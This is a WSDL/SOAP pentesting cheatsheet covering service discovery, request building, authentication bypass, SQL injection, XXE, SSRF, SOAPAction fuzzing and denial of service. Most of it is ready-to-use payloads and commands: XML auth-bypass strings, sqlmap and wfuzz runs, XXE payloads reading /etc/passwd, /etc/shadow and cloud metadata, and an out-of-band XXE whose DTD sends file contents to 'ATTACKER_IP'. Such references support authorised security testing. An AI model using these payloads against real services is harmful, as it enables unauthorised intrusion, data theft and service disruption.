WSDL
WSDL / SOAP Pentesting Cheatsheet
What is WSDL?
WSDL (Web Services Description Language) is an XML-based contract that describes a SOAP web service — what operations it exposes, what parameters they take, and where to send requests.
Think of it as a Swagger/OpenAPI spec but for SOAP — the WSDL file is your attack surface map.
WSDL defines:
├── <types> → XML schemas for input/output data
├── <message> → Request/response message structures
├── <portType> → Available operations (like API endpoints)
├── <binding> → How operations are transmitted (SOAP/HTTP)
└── <service> → Actual URL endpoint to call
SOAP (Simple Object Access Protocol) is the protocol — XML messages sent over HTTP/HTTPS, typically via POST. Unlike REST, every call goes to the same URL, differentiated by the SOAPAction header or the XML body element name.
Why SOAP/WSDL is Interesting to Pentesters
- WSDL files document every operation — instant endpoint enumeration
- XML parsing = XXE attack surface
- Legacy SOAP services = often older, unpatched, poor input validation
- Developers often trust SOAP clients → minimal server-side validation
- WS-Security implementations are frequently misconfigured
- WSDL sometimes exposed on internal services that "shouldn't be public"
Attack Flow
1. Discover → Find WSDL file, enumerate endpoints and operations
2. Recon → Parse operations, parameters, data types, auth requirements
3. Auth test → Test WS-Security, basic auth, token auth, bypass attempts
4. Inject → SQLi, XXE, XML injection into SOAP body parameters
5. SSRF → Abuse XML/DTD processing to pivot to internal services
6. Fuzz → Bruteforce operations, fuzz parameter types
7. Post-Ex → Extract data, escalate via chained service calls
Discovery & Recon
Finding WSDL Files
# Common WSDL URL patterns — probe all of these
?wsdl
?WSDL
/service.asmx?wsdl
/service.svc?wsdl
/api/service?wsdl
/ws?wsdl
/soap?wsdl
/services?wsdl
/axis/services/<ServiceName>?wsdl # Apache Axis
/axis2/services/<ServiceName>?wsdl # Apache Axis2
# Examples
curl -s "http://target.com/api/UserService?wsdl"
curl -s "http://target.com/service.asmx?wsdl"
curl -s "http://target.com/ws/soap?WSDL"
# Google dorks
# inurl:"?wsdl" site:target.com
# inurl:"/service.asmx" site:target.com
# filetype:wsdl site:target.com
# Directory brute with WSDL-focused wordlist
ffuf -u "http://target.com/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200 -t 50
# Burp Suite — target → WSDL → right-click → "Parse WSDL" (Wsdler extension)
Parse WSDL — Extract Operations
# Download the WSDL
curl -s "http://target.com/service?wsdl" -o service.wsdl
# Extract all operation names
grep -oP '(?<=operation name=")[^"]+' service.wsdl
# Extract all message parts (parameter names + types)
grep -E 'element name|part name|type=' service.wsdl
# Extract endpoint URL
grep -oP '(?<=location=")[^"]+' service.wsdl
# Python one-liner: list all operations
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('service.wsdl')
ns = {'wsdl': 'http://schemas.xmlsoap.org/wsdl/'}
for op in tree.findall('.//wsdl:operation', ns):
print(op.get('name'))
"
Build a Raw SOAP Request (Anatomy)
POST /service.asmx HTTP/1.1
Host: target.com
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://target.com/ns/OperationName"
Content-Length: <length>
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns="http://target.com/namespace">
<soap:Header/>
<soap:Body>
<ns:OperationName>
<ns:parameter1>VALUE</ns:parameter1>
<ns:parameter2>VALUE</ns:parameter2>
</ns:OperationName>
</soap:Body>
</soap:Envelope>
# Send a SOAP request with curl
curl -s -X POST "http://target.com/service.asmx" \
-H "Content-Type: text/xml;charset=UTF-8" \
-H 'SOAPAction: "http://target.com/ns/GetUser"' \
-d '<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUser xmlns="http://target.com/ns">
<userId>1</userId>
</GetUser>
</soap:Body>
</soap:Envelope>'
Authentication Testing
WS-Security Header
WS-Security adds auth inside the SOAP <Header>. Common implementations:
<soap:Header>
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
<wsse:UsernameToken>
<wsse:Username>admin</wsse:Username>
<wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText">
password123
</wsse:Password>
</wsse:UsernameToken>
</wsse:Security>
</soap:Header>
Authentication Bypass Techniques
<!-- 1. Remove the WS-Security header entirely — some services skip auth checks -->
<!-- 2. Empty credentials -->
<wsse:Username></wsse:Username>
<wsse:Password></wsse:Password>
<!-- 3. SQL injection in username field -->
<wsse:Username>admin' OR '1'='1</wsse:Username>
<!-- 4. Null byte injection -->
<wsse:Username>admin%00</wsse:Username>
<!-- 5. Type confusion — change PasswordText to PasswordDigest -->
<wsse:Password Type="...#PasswordDigest">anything</wsse:Password>
<!-- 6. XML comment injection to break auth logic -->
<wsse:Username>admin<!--</wsse:Username>
<wsse:Password>-->anything</wsse:Password>
# Brute force credentials with wfuzz
wfuzz -c -z file,users.txt -z file,pass.txt \
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="..."><soap:Header><wsse:Security><wsse:UsernameToken><wsse:Username>FUZZ</wsse:Username><wsse:Password>FUZ2Z</wsse:Password></wsse:UsernameToken></wsse:Security></soap:Header><soap:Body>...</soap:Body></soap:Envelope>' \
--hc 500 \
"http://target.com/service.asmx"
HTTP-Level Auth (Basic / Token)
# Basic auth
curl -su admin:admin -X POST "http://target.com/service" \
-H "Content-Type: text/xml" \
-d '<soap:Envelope>...</soap:Envelope>'
# Bearer token
curl -X POST "http://target.com/service" \
-H "Authorization: Bearer YOUR_TOKEN" \
-H "Content-Type: text/xml" \
-d '<soap:Envelope>...</soap:Envelope>'
SQL Injection in SOAP Parameters
SOAP parameters are passed to backend systems identically to web form inputs — if the server concatenates them into SQL, it's injectable.
<!-- Target operation — UserId parameter -->
<GetUser>
<UserId>1</UserId>
</GetUser>
<!-- Classic blind SQLi test -->
<GetUser>
<UserId>1 AND 1=1-- -</UserId>
</GetUser>
<!-- Error-based -->
<GetUser>
<UserId>1' OR SLEEP(5)-- -</UserId>
</GetUser>
<!-- UNION-based (determine column count first) -->
<GetUser>
<UserId>1 UNION SELECT NULL,NULL,NULL-- -</UserId>
</GetUser>
# sqlmap against SOAP endpoint — use request file
# 1. Save the SOAP request to a file (soap_request.txt) with * at injection point:
# <UserId>*</UserId>
# 2. Pass to sqlmap
sqlmap -r soap_request.txt \
--level=5 --risk=3 \
--dbms=mysql \
--data='<?xml version="1.0"?><soap:Envelope>...<UserId>*</UserId>...</soap:Envelope>'
# Alternative: direct POST data
sqlmap -u "http://target.com/service.asmx" \
--method=POST \
--headers="Content-Type: text/xml\nSOAPAction: \"http://target.com/ns/GetUser\"" \
--data='<soap:Envelope>...*...</soap:Envelope>' \
--dbms=mssql -p "*"
XXE (XML External Entity) Injection
SOAP bodies are XML — if the parser processes external entities, you get file read and SSRF.
Basic XXE — File Read
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUser>
<UserId>&xxe;</UserId>
</GetUser>
</soap:Body>
</soap:Envelope>
XXE — Windows File Read
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
XXE → SSRF (Internal Network Probe)
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<!-- Insert &xxe; in a reflected parameter -->
Blind XXE — Out-of-Band (OOB)
<!-- Payload in SOAP body -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://ATTACKER_IP/evil.dtd">
%dtd;
]>
<!-- evil.dtd on your server -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY send SYSTEM 'http://ATTACKER_IP/?data=%file;'>">
%oob;
# Listen for OOB callbacks
nc -lvnp 80
python3 -m http.server 80
# Or use Burp Collaborator / interactsh
XXE in SOAP Header
<soap:Header>
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]>
<customHeader>&xxe;</customHeader>
</soap:Header>
XML Injection
Beyond XXE, inject raw XML to break the document structure or manipulate logic.
<!-- Parameter value injection — close the tag and add your own element -->
<UserId>1</UserId><AdminFlag>true</AdminFlag><UserId>1</UserId>
<!-- Comment injection — comment out security checks in XML-driven logic -->
<UserId>1<!-- </UserId><wsse:Security>blocked</wsse:Security> --></UserId>
<!-- CDATA bypass — wrap payloads to avoid XML parser issues -->
<UserId><![CDATA[1' OR '1'='1]]></UserId>
SSRF via SOAPAction / Endpoint
SOAPAction Header Injection
The SOAPAction header tells the server which operation to invoke. Spoofing it can bypass access controls.
# Try calling admin/internal operations with guest auth
curl -X POST "http://target.com/service" \
-H 'SOAPAction: "http://target.com/ns/AdminDeleteUser"' \
-H "Content-Type: text/xml" \
-H "Authorization: Basic dXNlcjpwYXNz" \
-d '<soap:Envelope>...</soap:Envelope>'
# Try empty SOAPAction
curl -X POST "http://target.com/service" \
-H 'SOAPAction: ""' ...
# Try omitting SOAPAction entirely
SSRF via XML DTD / Entities
<!DOCTYPE foo [
<!ENTITY ssrf SYSTEM "http://internal-host:8080/admin">
]>
<!-- Response may reflect internal content in error messages -->
SOAP-Specific Attacks
Operation Enumeration (SOAPAction Fuzzing)
WSDL may not expose all operations — fuzz for hidden ones.
# Wordlist of common SOAP operation names
# https://github.com/nicholasgwalker/soapaction-wordlist
wfuzz -c -z file,soapaction-wordlist.txt \
-H 'SOAPAction: "http://target.com/FUZZ"' \
-H "Content-Type: text/xml" \
-d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><FUZZ xmlns="http://target.com/"/></soap:Body></soap:Envelope>' \
--hc 400,404 \
"http://target.com/service.asmx"
Parameter Type Confusion
WSDL defines expected types — test mismatches.
<!-- WSDL says integer, try string -->
<UserId>admin</UserId>
<!-- WSDL says string, try negative int -->
<Amount>-9999</Amount>
<!-- Array where single value expected -->
<UserId>
<id>1</id>
<id>2</id>
</UserId>
<!-- Long string (buffer overflow probe) -->
<UserId>AAAAAAAAAAAAAAAAAAAAAAAAA... (2000 chars)</UserId>
WS-Security Timestamp Replay
WS-Security uses <Timestamp> to prevent replay attacks. If poorly validated:
<wsse:Security>
<wsu:Timestamp>
<!-- Reuse an old valid timestamp — server may not check expiry -->
<wsu:Created>2020-01-01T00:00:00Z</wsu:Created>
<wsu:Expires>2020-01-01T00:05:00Z</wsu:Expires>
</wsu:Timestamp>
<!-- Paste in a captured valid auth token here -->
</wsse:Security>
SOAP Array Abuse (Resource Exhaustion)
<!-- Create massive nested arrays to cause DoS/memory exhaustion -->
<soap:Body>
<processData>
<data>
<item>A</item>
<item>A</item>
<!-- repeat 10,000 times -->
</data>
</processData>
</soap:Body>
Tools
SoapUI
# Import WSDL and auto-generate all request templates
File → New SOAP Project → Project WSDL: http://target.com/service?wsdl
# Security testing
# Right-click test suite → Add Security Test
# Choose: SQL Injection, XPath Injection, Invalid Types, etc.
Burp Suite + Wsdler Extension
# Install from BApp Store: Wsdler
# Usage:
# 1. Send any SOAP request to target in Burp
# 2. Right-click → Extensions → Wsdler → Parse WSDL
# 3. All operations appear in a new tab — click to generate requests in Repeater
# Burp Scanner also supports WSDL import (Enterprise Ed):
# Dashboard → New scan → Upload WSDL → Audit
wfuzz
# Fuzz a SOAP parameter
wfuzz -c -z file,/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt \
-H "Content-Type: text/xml" \
-H 'SOAPAction: "http://target.com/ns/GetUser"' \
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetUser xmlns="http://target.com/"><UserId>FUZZ</UserId></GetUser></soap:Body></soap:Envelope>' \
--hh 0 \
"http://target.com/service.asmx"
# XXE fuzzing
wfuzz -c -z file,xxe-payloads.txt \
-d '<?xml version="1.0"?>FUZZ<soap:Envelope>...</soap:Envelope>' \
"http://target.com/service.asmx"
curl — Quick Interaction
# Template function for any SOAP call
soap_call() {
local url=$1 action=$2 body=$3
curl -s -X POST "$url" \
-H "Content-Type: text/xml;charset=UTF-8" \
-H "SOAPAction: \"$action\"" \
-d "<?xml version=\"1.0\"?><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body>$body</soap:Body></soap:Envelope>"
}
# Usage
soap_call "http://target.com/ws" "http://target.com/ns/GetUser" "<GetUser><UserId>1</UserId></GetUser>"
Python — SOAP Request Builder
import requests
def soap_call(url, action, body_xml, auth=None):
envelope = f"""<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
{body_xml}
</soap:Body>
</soap:Envelope>"""
headers = {
"Content-Type": "text/xml;charset=UTF-8",
"SOAPAction": f'"{action}"'
}
r = requests.post(url, data=envelope, headers=headers, auth=auth)
return r.text
# SQLi test
payload = "<GetUser><UserId>1' OR 1=1-- -</UserId></GetUser>"
print(soap_call("http://target.com/service.asmx", "http://target.com/ns/GetUser", payload))
CVEs — Notable SOAP/WSDL Vulnerabilities
| CVE | Product | Type | Impact |
|---|---|---|---|
| CVE-2024-34102 | Adobe Commerce (Magento) | XXE via SOAP | Unauthenticated RCE |
| CVE-2024-6893 | WSO2 | XXE in SOAP | File read / SSRF |
| CVE-2024-7073 | WSO2 | SSRF in SOAP admin | Internal access |
| CVE-2024-6914 | WSO2 | Auth bypass via SOAP admin | Account takeover |
| CVE-2017-5641 | Apache BlazeDS | XXE in SOAP | RCE |
| CVE-2019-0227 | Apache Axis | SSRF / RCE | Unauthenticated RCE |
| CVE-2010-4476 | Java Runtime | DoS via float parsing | JVM crash via SOAP |
Common Misconfigurations Checklist
Quick Reference
| Task | Command/Technique |
|---|---|
| Find WSDL | curl -s "http://target/service?wsdl" |
| List operations | grep -oP '(?<=operation name=")[^"]+' service.wsdl |
| Send SOAP request | curl -X POST -H "Content-Type: text/xml" -H 'SOAPAction: "..."' -d '<envelope>' |
| SQLi | Inject ' OR 1=1-- - into any string parameter |
| XXE file read | <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> + &xxe; in body |
| XXE OOB | Load remote DTD: <!ENTITY % dtd SYSTEM "http://attacker/evil.dtd"> |
| Auth bypass | Remove <wsse:Security> header, try empty creds, SQL in username |
| SOAPAction fuzz | wfuzz -z file,ops.txt -H 'SOAPAction: "FUZZ"' |
| sqlmap | sqlmap -r soap_req.txt --dbms=mssql |
| Burp WSDL | Wsdler extension → Parse WSDL → requests in Repeater |